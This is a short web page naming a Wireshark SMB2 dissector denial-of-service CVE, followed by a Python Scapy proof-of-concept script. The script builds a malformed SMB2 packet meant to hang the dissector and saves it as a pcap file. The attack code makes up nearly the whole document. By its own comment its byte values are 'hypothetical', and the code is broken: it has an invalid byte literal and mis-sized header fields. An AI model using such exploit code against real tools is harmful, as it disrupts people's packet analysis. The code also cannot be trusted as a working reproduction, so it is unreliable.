CVE-2026-5407 Wireshark SMB2协议解析器拒绝服务漏洞

from scapy.all import * # Define a malformed SMB2 packet intended to trigger the infinite loop # Note: Specific offsets and bytes are hypothetical and based on the vulnerability description. def build_malformed_smb2(): # Ethernet header eth = Ether(dst="ff:ff:ff:ff:ff:ff", src="00:00:00:00:00:00", type=0x0800) # IP header ip = IP(src="192.168.1.100", dst="192.168.1.200") # TCP header tcp = TCP(sport=445, dport=50000, flags="PA", seq=1000, ack=2000) # SMB2 Header structure (simplified) # The vulnerability might be triggered by a specific command or malformed chaining smb2_header = b"\xfe\x53\x4d\x42" # SMB2 Magic smb2_header += b"\x40\x00" # Structure Size (64 bytes) smb2_header += b"\x01\x00" # Credit Charge smb2_header += b"\x00\x00\x00\x00" # Status smb2_header += b"\x00\x00" # Command (e.g., IOCTL or Negotiate) smb2_header += b"\x3f\x00" # Credits requested smb2_header += b"\x00" # Flags smb2_header += b"\x00" # Next Command smb2_header += b"\x00\x00" # Message ID # Append a payload that causes the dissector to loop # This might involve a nested structure or invalid length field malicious_payload = b"\x" * 100 # Assemble packet packet = eth / ip / tcp / Raw(smb2_header + malicious_payload) return packet # Generate and save to pcap packets = [build_malformed_smb2()] wrpcap("cve_2026_5407_poc.pcap", packets) print("PoC file generated: cve_2026_5407_poc.pcap")